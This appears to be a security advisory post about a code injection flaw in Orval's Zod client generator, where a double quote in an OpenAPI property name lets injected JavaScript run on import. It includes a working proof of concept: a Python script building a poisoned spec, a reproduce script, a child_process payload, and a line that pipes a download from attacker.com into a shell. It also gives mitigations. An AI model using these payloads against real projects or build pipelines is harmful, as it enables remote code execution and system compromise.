Listen to this Post
Orval’s Zod client generation is vulnerable to an injection flaw due to improper escaping of double quotes in schema property names.
When Orval processes an OpenAPI specification to produce a TypeScript client with Zod validation, it constructs a `zod.object({ … })` call.
Each property name from the spec is emitted as a double-quoted string key directly into the generated source code.
If a property name contains a double quote character, it prematurely closes the string key and allows the attacker to inject arbitrary JavaScript syntax.
Specifically, an attacker can craft a property name like "a":zod.string(),[require("fs").writeFileSync("PWNED","")]:zod.string(),"b.
This closes the intended key, injects a computed property key [require("fs").writeFileSync("PWNED","")], and then continues with a fake key.
The computed property expression is evaluated at runtime when the `zod.object({…})` function is called.
Crucially, the generated client module exports this Zod schema as a top-level constant, e.g., export const schema = zod.object({...}).
This export statement is executed immediately upon module import, meaning the injected code runs at import time.
This happens before any application logic is invoked, making it a zero-click RCE for anyone who imports the generated client.
The vulnerability is verified on orval version 8.19.0 running in Node.js.
It is categorized under CWE-94 (Improper Control of Generation of Code), CWE-95 (Eval Injection), and CWE-116 (Improper Encoding).
The attack vector is network-based; an attacker only needs to supply a malicious OpenAPI spec to a victim.
The victim then uses Orval to generate a Zod client and subsequently imports the resulting file into their project.
The generated TypeScript interface is not affected in the same way, as it operates at the type level, only causing a potential DoS.
This issue is distinct from other Orval findings related to $ref, route-path, or server-url injections.
A suggested fix is to apply `JSON.stringify` to the property name before embedding it in the generated source code.
This ensures that any double quotes are properly escaped and the string cannot be broken out of.
The PoC provided uses `make_spec.py` to create a spec with a poisoned property name.
The `reproduce.sh` script runs Orval and imports the client to demonstrate the file creation.
The injection works because JavaScript object literals allow computed property names inside brackets.
When the parser encounters [require(...)], it treats it as an expression to evaluate.
Since the expression is a `require` call, it executes the file system operation synchronously.
An attacker could escalate this to run `child_process.exec` for full OS command execution.
The vulnerability has a critical severity with CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N.
The maintainer has been notified and a patch is anticipated.
Until a fix is released, developers should avoid using untrusted OpenAPI specifications.
The root cause is the lack of escaping for double quote characters in key generation.
This is a classic code injection vulnerability resulting from unsanitized data in code generation.
Immediate action is required to secure projects that rely on dynamic OpenAPI generation.
DailyCVE Form:
Platform: Orval Node.js
Version: 8.19.0
Vulnerability : Code Injection RCE
Severity: Critical
date: 2026-09-02
Prediction: Patch Sep 2026
What Undercode Say:
reproduce.sh – automation for the PoC !/bin/bash python3 make_spec.py npx [email protected] --input spec.yaml --output client.ts node -e "require('./client')" Upon import, the marker file "pwned" is written.
make_spec.py – generates the malicious OpenAPI spec
import yaml
spec = {
"openapi": "3.0.0",
"info": {"": "POC", "version": "1.0.0"},
"paths": {
"/test": {
"get": {
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"a\":zod.string(),[require(\"fs\").writeFileSync(\"pwned\",\"\")]:zod.string(),\"b": {"type": "string"}
}
}
}
}
}
}
}
}
}
}
with open("spec.yaml", "w") as f:
yaml.dump(spec, f)
Analytics: running `bash reproduce.sh` creates client.ts; importing it triggers `fs.writeFileSync` and writes `pwned` to disk, confirming import‑time execution.
Exploit: (Educational Purposes!)
// Injected payload inside the property name (full string):
// "a":zod.string(),[require("child_process").execSync("touch /tmp/exploited")]:zod.string(),"b"
// When the generated client is imported, execSync executes and creates /tmp/exploited.
An attacker can replace the payload with `require(“child_process”).exec(“curl attacker.com/backdoor | sh”)` to achieve full remote code execution during the import phase.
Protection: from this CVE
- Upgrade to the official patched version as soon as it is released.
- As a workaround, sanitize all property names in OpenAPI specs before feeding them to Orval.
- Avoid generating Orval clients from untrusted or third‑party OpenAPI sources.
- Apply a custom code transform to always wrap property names with `JSON.stringify` in the generator output.
Impact:
- Critical remote code execution at build time or runtime import stage.
- Affects CI/CD pipelines that generate clients from external specifications.
- Allows full system compromise: arbitrary file read/write, shell spawning, data exfiltration, and lateral movement.
- CVSS v4 base score of 9.3 (Critical) according to the provided vector.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

